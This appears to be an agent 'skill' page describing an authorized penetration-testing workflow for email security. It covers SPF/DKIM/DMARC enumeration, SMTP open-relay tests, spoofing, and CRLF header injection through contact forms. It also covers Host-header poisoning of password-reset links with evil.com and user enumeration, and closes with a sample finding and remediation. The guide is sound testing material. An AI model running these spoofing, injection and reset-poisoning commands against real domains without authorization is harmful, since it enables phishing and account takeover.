performing-email-security-testing

star 618

Offensive email security assessment covering SMTP open relay, SPF/DKIM/DMARC bypass, email header injection, and email-based attack vectors during authorized penetration tests.

xalgord By xalgord schedule Updated 6/6/2026

name: performing-email-security-testing description: Offensive email security assessment covering SMTP open relay, SPF/DKIM/DMARC bypass, email header injection, and email-based attack vectors during authorized penetration tests. domain: cybersecurity subdomain: web-application-security tags:

  • penetration-testing
  • email-security
  • smtp-testing
  • spf-bypass
  • dmarc-testing
  • email-spoofing
  • header-injection version: '1.0' author: xalgord license: Apache-2.0

Performing Email Security Testing

When to Use

  • During Phase 15 (Email Security Testing) of the methodology
  • When the target has email infrastructure (MX records, webmail, contact forms)
  • When testing for email spoofing or phishing susceptibility
  • When the application handles email input (forms, notifications, password resets)
  • When testing email-based authentication flows (magic links, OTP via email)

How to CONFIRM a Hit (avoid false negatives)

  • Positive signal: a spoofed message actually passes/bypasses SPF, DKIM, and DMARC and is delivered to the inbox; an open relay actually delivers a third-party message; or CRLF header injection actually adds a recipient/header in the received mail.
  • Confirm by delivery to your controlled test inbox (agentmail) and by reading the received Authentication-Results headers (spf=pass/none, dmarc=pass/none) — a DNS record showing ~all/p=none is suggestive but delivery is the proof.
  • An SMTP 250 OK alone is NOT a hit (it may be quarantined or silently dropped); one rejection is NOT a clean negative until policy and relay paths are exercised.
  • Do NOT conclude "not vulnerable" until you have:
    • Checked SPF (~all/?all/+all/absent), DMARC (p=none/absent, weak sp=/pct=), and DKIM selectors — then sent a real spoof to confirm inbox delivery.
    • Tried open-relay with an external MAIL FROM and confirmed delivery, on ports 25/465/587.
    • Tried header injection via web forms (all CRLF encodings/fields) and confirmed an injected Bcc/Cc arrived.
    • Tested Host-header poisoning of reset links (verify the link in the delivered email uses the attacker host) and token predictability/reuse.

Prerequisites

  • Authorization: Written scope covering email infrastructure testing
  • agentmail: ALWAYS use agentmail for test addresses (never use external emails)
  • dig/nslookup: DNS record enumeration
  • swaks: Swiss Army Knife for SMTP (apt install swaks)
  • nmap: For SMTP service enumeration
  • curl: For testing web-to-email functionality
  • openssl: For TLS/STARTTLS testing

Workflow

Step 1: Email Infrastructure Enumeration

Map the target's email ecosystem before testing.

# === MX RECORD DISCOVERY ===
dig MX target.example.com +short
# Example output:
# 10 mx1.target.example.com.
# 20 mx2.target.example.com.

# === SPF RECORD CHECK ===
dig TXT target.example.com +short | grep "v=spf1"
# Analyze SPF strictness:
# ~all = soft fail (can be bypassed)
# -all = hard fail (strict, good)
# ?all = neutral (no enforcement)
# +all = allow all (MISCONFIGURATION)
# No SPF = NO protection

# === DMARC RECORD CHECK ===
dig TXT _dmarc.target.example.com +short
# Analyze DMARC policy:
# p=none → monitoring only, no enforcement (WEAK)
# p=quarantine → suspicious mail goes to spam
# p=reject → spoofed mail is blocked (STRONG)
# No DMARC record → NO protection

# === DKIM RECORD CHECK ===
# Common DKIM selectors to try
for SELECTOR in default google s1 s2 k1 selector1 selector2 dkim mail; do
  RESULT=$(dig TXT ${SELECTOR}._domainkey.target.example.com +short 2>/dev/null)
  if [ -n "$RESULT" ]; then
    echo "DKIM found: ${SELECTOR}._domainkey.target.example.com"
    echo "$RESULT"
  fi
done

# === SMTP SERVICE ENUMERATION ===
for MX in $(dig MX target.example.com +short | awk '{print $2}'); do
  echo "=== $MX ==="
  nmap -sV -p 25,465,587 "$MX" --script smtp-commands,smtp-enum-users
done

# === WEBMAIL DISCOVERY ===
for PREFIX in mail webmail email owa outlook autodiscover; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${PREFIX}.target.example.com" 2>/dev/null)
  if [ "$CODE" != "000" ] && [ "$CODE" != "404" ]; then
    echo "Found: https://${PREFIX}.target.example.com → HTTP $CODE"
  fi
done

Step 2: SMTP Open Relay Testing

Test if the mail server allows unauthenticated relay.

# === IMPORTANT: Use agentmail for all test addresses ===
# Create test inbox first:
# agentmail action=create_inbox name=smtp_relay_test

# === MANUAL SMTP RELAY TEST ===
# Connect to target SMTP server
# WARNING: Only test with agentmail addresses as recipient
(
  sleep 1; echo "EHLO test.example.com"
  sleep 1; echo "MAIL FROM:<test@external-domain.com>"
  sleep 1; echo "RCPT TO:<YOUR_AGENTMAIL_ADDRESS>"
  sleep 1; echo "DATA"
  sleep 1; echo "Subject: Open Relay Test"
  sleep 1; echo ""
  sleep 1; echo "This is an open relay test."
  sleep 1; echo "."
  sleep 1; echo "QUIT"
) | openssl s_client -connect mx1.target.example.com:25 -starttls smtp 2>/dev/null

# === SWAKS RELAY TEST (easier) ===
swaks --to YOUR_AGENTMAIL_ADDRESS \
  --from spoofed@external-domain.com \
  --server mx1.target.example.com \
  --port 25 \
  --body "Open relay test - authorized pentest" \
  --header "Subject: Open Relay Test"

# Check for relay results:
# 250 OK → OPEN RELAY (Critical vulnerability)
# 550/554 Relaying denied → Properly configured
# 421 → Rate limited or blocked

# === VERIFY: Check if email was delivered ===
# agentmail action=wait_for_email inbox_id=INBOX_ID subject="Open Relay" timeout=120

Step 3: Email Spoofing Assessment

Test if the domain is susceptible to email spoofing.

# === SPF BYPASS TESTING ===

# Test 1: No SPF record → complete spoofing possible
SPF=$(dig TXT target.example.com +short | grep "v=spf1")
if [ -z "$SPF" ]; then
  echo "CRITICAL: No SPF record — domain is fully spoofable"
fi

# Test 2: SPF with ~all (softfail) → spoofing may work
echo "$SPF" | grep "~all" && echo "WARN: SPF softfail — spoofing may bypass filters"

# Test 3: SPF with +all → allows any sender
echo "$SPF" | grep "+all" && echo "CRITICAL: SPF +all — explicitly allows spoofing"

# === DMARC BYPASS ASSESSMENT ===
DMARC=$(dig TXT _dmarc.target.example.com +short)

if [ -z "$DMARC" ]; then
  echo "CRITICAL: No DMARC record — no email authentication enforcement"
elif echo "$DMARC" | grep -q "p=none"; then
  echo "WARN: DMARC p=none — monitoring only, spoofed email will be delivered"
elif echo "$DMARC" | grep -q "p=quarantine"; then
  echo "INFO: DMARC p=quarantine — spoofed email goes to spam (partial protection)"
elif echo "$DMARC" | grep -q "p=reject"; then
  echo "GOOD: DMARC p=reject — spoofed email will be blocked"
fi

# Check DMARC subdomain policy
echo "$DMARC" | grep -oP 'sp=\w+' || echo "WARN: No subdomain policy — defaults to p= value"

# Check DMARC percentage
echo "$DMARC" | grep -oP 'pct=\d+' || echo "INFO: No pct tag — defaults to 100%"

# === PRACTICAL SPOOFING TEST (to your own agentmail) ===
swaks --to YOUR_AGENTMAIL_ADDRESS \
  --from ceo@target.example.com \
  --server mx1.target.example.com \
  --body "Spoofing test - authorized assessment" \
  --header "Subject: SPF/DMARC Spoofing Test" \
  --header "Reply-To: attacker@evil.com"

# Check delivery + analyze received headers for SPF/DMARC results
# agentmail action=wait_for_email inbox_id=INBOX_ID subject="Spoofing Test" timeout=120

Step 4: Email Header Injection via Web Forms

Test web application email functionality for header injection.

# === CONTACT FORM HEADER INJECTION ===
# Target: forms that send emails (contact, feedback, newsletter signup)

# Test 1: CRLF injection in email field
curl -s -X POST "https://target.example.com/api/contact" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "test@example.com\r\nBcc: YOUR_AGENTMAIL_ADDRESS",
    "message": "Header injection test"
  }'

# Test 2: Newline injection in name/subject fields
curl -s -X POST "https://target.example.com/api/contact" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Test\r\nBcc: YOUR_AGENTMAIL_ADDRESS",
    "email": "test@example.com",
    "message": "Header injection test"
  }'

# Test 3: CC/BCC injection via additional headers
curl -s -X POST "https://target.example.com/api/contact" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "test@example.com%0ACc:YOUR_AGENTMAIL_ADDRESS",
    "message": "URL-encoded header injection test"
  }'

# Test 4: Body injection (multi-part)
curl -s -X POST "https://target.example.com/api/contact" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "test@example.com",
    "message": "Normal message\r\n\r\nContent-Type: text/html\r\n\r\n<h1>Injected HTML</h1>"
  }'

# === VERIFY: Check if injected headers were processed ===
# agentmail action=wait_for_email inbox_id=INBOX_ID timeout=120

Step 5: Password Reset Email Security

Test for vulnerabilities in password reset flows.

# === HOST HEADER POISONING IN PASSWORD RESET ===
# Attempt to redirect password reset links to attacker domain
curl -s -X POST "https://target.example.com/api/forgot-password" \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email": "victim@target.example.com"}'

# Check if reset link uses evil.com as base URL
# agentmail action=wait_for_email inbox_id=INBOX_ID subject="password" timeout=120

# === RESET TOKEN ANALYSIS ===
# Request multiple reset tokens and analyze patterns

for i in $(seq 1 5); do
  curl -s -X POST "https://target.example.com/api/forgot-password" \
    -H "Content-Type: application/json" \
    -d "{\"email\": \"$AGENTMAIL_ADDRESS\"}"
  sleep 2
done

# Collect tokens and check for:
# - Sequential/predictable tokens
# - Short tokens (< 32 chars)
# - Tokens that don't expire
# - Tokens reusable after password change

# === USER ENUMERATION VIA RESET ===
# Check if different responses for valid vs invalid emails
for EMAIL in "existing@target.example.com" "nonexistent@target.example.com" \
  "admin@target.example.com" "root@target.example.com"; do
  echo -n "$EMAIL → "
  curl -s -o /dev/null -w "%{http_code} %{size_download}" \
    -X POST "https://target.example.com/api/forgot-password" \
    -H "Content-Type: application/json" \
    -d "{\"email\": \"$EMAIL\"}"
  echo
done
# Different response codes/sizes → user enumeration vulnerability

Step 6: SMTP STARTTLS and Encryption Testing

# === TLS CONFIGURATION CHECK ===
for PORT in 25 465 587; do
  echo "=== Port $PORT ==="
  echo "QUIT" | openssl s_client -connect mx1.target.example.com:$PORT \
    -starttls smtp 2>/dev/null | \
    grep -E "Protocol|Cipher|Server certificate"
done

# === CHECK FOR DOWNGRADE ATTACKS ===
# Test if server accepts non-TLS connections on port 25
(echo "EHLO test"; sleep 1; echo "QUIT") | \
  nc mx1.target.example.com 25 2>/dev/null | grep -i "STARTTLS"

# If STARTTLS is optional (not enforced) → susceptible to downgrade

Key Concepts

Concept Description
SPF Sender Policy Framework — specifies which IPs can send email for a domain
DKIM DomainKeys Identified Mail — cryptographic signature verifying email sender
DMARC Domain-based Message Authentication — policy for handling SPF/DKIM failures
Open Relay SMTP server that relays email from unauthenticated senders (Critical)
Email Header Injection Injecting CRLF to add Bcc/Cc headers via web forms
Host Header Poisoning Manipulating Host header to redirect password reset links
STARTTLS Downgrade Forcing SMTP connection to plaintext by stripping TLS negotiation

Common Scenarios

Scenario Impact Proof
No SPF record Anyone can spoof emails from domain dig TXT domain shows no v=spf1
DMARC p=none Spoofed emails delivered to inbox Email delivered to agentmail with spoofed From
Open SMTP relay Spam/phishing relay through target server Email delivered via relay to agentmail
Header injection in contact form Attacker controls email recipients BCC injection delivers to agentmail
Predictable reset tokens Account takeover via token prediction Sequential tokens with < 32 bit entropy
Host header password reset poisoning Reset link points to attacker domain Reset email contains evil.com URL

Output Format

## Email Security Finding

**Vulnerability**: Missing DMARC Policy — Domain Spoofable
**Severity**: Medium (CVSS 5.3)
**Location**: _dmarc.target.example.com (DNS)
**Type**: Email Authentication Misconfiguration

### Evidence
- SPF Record: v=spf1 include:_spf.google.com ~all (SOFTFAIL)
- DMARC Record: NONE (no _dmarc TXT record exists)
- DKIM: Selector 'google' found with valid key

### Exploitation Proof
Successfully sent spoofed email as ceo@target.example.com
to test inbox. Email was delivered without any authentication
warnings because no DMARC policy exists to enforce SPF/DKIM.

### Impact
- Attackers can send phishing emails appearing to come from target.example.com
- No mechanism to reject or quarantine spoofed messages
- Combined with social engineering, enables targeted spearphishing

### Recommendation
1. Implement DMARC: _dmarc.target.example.com TXT "v=DMARC1; p=reject; rua=mailto:dmarc@target.example.com"
2. Change SPF from ~all (softfail) to -all (hardfail)
3. Enable DMARC reporting to monitor authentication failures
4. Consider implementing BIMI for visual email authentication
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill performing-email-security-testing
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator